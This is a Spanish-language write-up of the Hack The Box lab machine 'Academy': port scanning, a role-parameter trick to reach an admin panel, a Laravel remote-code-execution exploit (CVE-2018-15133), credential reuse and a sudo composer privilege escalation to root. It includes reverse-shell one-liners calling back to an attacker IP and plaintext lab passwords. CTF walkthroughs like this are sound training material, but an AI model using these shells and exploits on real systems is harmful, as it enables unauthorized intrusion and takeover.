machine

Enumeración

Escaneo de puertos:

nmap -p- --open --min-rate 5000 -vvv -sS -n -Pn 10.10.10.215
Host is up, received user-set (0.27s latency).
Scanned at 2024-09-11 19:01:38 -03 for 21s
Not shown: 64039 closed tcp ports (reset), 1493 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
33060/tcp open  mysqlx  syn-ack ttl 63

Detectamos versión y servicio de los puertos abiertos:

nmap -sC -sV -p22,80,33060 10.10.10.215
Host is up (0.27s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://academy.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000

El servicio HTTP hace un redirect a academy.htb, por lo que cargamos este registro en nuestro /etc/hosts.

academy

El sitio nos ofrece la posibilidad de registrarnos como usuarios, por lo tanto, creamos uno e ingresamos:

academy

Lo navegamos un poco pero no encontramos nada relevante.

Vamos a emplear el script http-enum de nmap para intentar encontrar directorios ocultos:

nmap --script='http-enum' -p80 academy.htb

academy

Además de login.php, que lo conocíamos, tenemos un admin.php. Vamos a emplear un diccionario más grande a ver si encontramos algo más con extensión .php:

wfuzz -c --hw=31 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://academy.htb/FUZZ.php"

academy

Encontramos config.php.

Al intentar acceder, admin.php nos muestra otro panel de login (probamos las credenciales del usuario que cree antes pero claramente no funciona). El archivo config.php no nos muestra nada.

Vamos a intentar registrar un nuevo usuario y capturar la request con Burpsuite:

academy

Vemos que además de los campos de usuario y contraseña, también se envía un campo roleid que por default tiene un 0.

Intentaremos crear un nuevo usuario: alim2, pero esta vez seteando el roleid en 1:

academy

Si ahora intentamos acceder al panel de administrador, podemos!

academy

Vemos algunas cosas interesantes. Por un lado, dos potenciales usuarios: cry0l1t3 y mrb3n.

Por otro, al parecer está pendiente arreglar un error en: dev-staging-01.academy.htb. Esto es un subdominio que no conocíamos. Lo cargamos en el /etc/hosts e ingresamos:

academy

Intrusión

Si miramos el contenido vemos que estamos ante Laravel, un framework de código abierto para desarrollar aplicaciones y servicios web con PHP 5 y PHP 7:

academy

Vamos a buscar exploits para esto:

academy

Existen vulnerabilidades para Laravel Framework que permite ejecución remota de código. Inicialmente encontramos un script asociado al CVE-2021-3129, pero no tenemos éxito.

Luego, damos con el CVE-2018-15133. Encontramos el siguiente exploit: https://github.com/aljavier/exploit_laravel_cve-2018-15133

Lo descargamos y lo probamos. Vemos que el uso es el siguiente:

pwn_laravel.py [-h] [-c COMMAND] [-m {1,2,3,4}] [-i] URL API_KEY

Por lo tanto, lo corremos de esta forma:

python3 pwn_laravel.py -c id http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

Funciona!

academy

Obteniendo una Reverse Shell

python3 pwn_laravel.py -c "bash -c 'bash -i >& /dev/tcp/10.10.14.21/4343 0>&1'" http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

academy

Hacemos un tratamiento de la TTY.

Metasploit

Vamos a probar también el módulo de Metasploit. Lo configuramos de la siguiente manera:

academy

Obtenemos la sesión:

academy

Para obtener una sesión completamente interactiva y trabajar mejor, vamos a ejecutar lo siguiente:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 443 >/tmp/f

Nos quedamos a la escucha con netcat en el puerto 443 y la recibimos:

academy

Ahora hacemos un tratamiento de la TTY.

Escalación de privilegios

Estamos como el usuario www-data. Vamos a dirigirnos unos directorios hacia atras y nos paramos en /var/www/html. Desde aquí, vamos a realizar una búsqueda por config.php, que era el otro archivo que habíamos detectado antes:

find . -type f -name config.php

Encontramos todos estos:

academy

Vamos revisando de a uno, y dentro de ./academy/public/config.php vemos credenciales en texto plano:

academy

Son las credenciales para conectarnos a la base de datos:

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$link=mysqli_connect('localhost','root','GkEWXn4h34g8qx9fZ1','academy');
?>

Nos conectamos:

mysql -u root -D academy -p

Vemos todos los usuarios, incluso los que creamos antes:

academy

Esto no es de mucha ayuda.

Seguimos navegando el server y dentro de /var/www/html/academy encontramos oculto el archivo .env. Dentro vemos credenciales en texto plano:

academy

mySup3rP4s5w0rd!!

Brute Force

Antes vimos dos potenciales usuarios y ahora tenemos una contraseña. Vamos a ver si se está reutilizando y aplica a alguno de los dos.

academy

Efectivamente, es la contraseña del usuario cry0l1t3, por lo tanto, migramos a ese usuario.

Aqui tenemos la primera flag: academy

cry0l1t3 to mrb3n

No encontramos forma de escalar privilegios hacia root con el usuario cry0l1t3, por lo que vamos a intentar migrar hacia el usuario mrb3n, que era el otro usuario que habíamos visto por la web.

Vamos a usar LinPEAS para que nos ayude a enumerar el sistema. Dentro de todo el output, vemos lo siguiente:

academy

En los logs de audit tenemos lo que parece ser la contraseña en texto plano del usuario mrb3n: mrb3n_Ac@d3my!

Lo probamos y funciona!

academy

mrb3n to root

Si ejecutamos sudo -l vemos que el usuario mrb3n puede ejecutar /usr/bin/composer como root sin especificar contraseña:

academy

Apoyándonos en GTFObins, vemos que podemos ejecutarlo de la siguiente manera para escalar privilegios:

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

Lo hacemos y somos root!

academy

Desde aquí vemos la segunda flag:

academy


Published

Category

HTB

Tags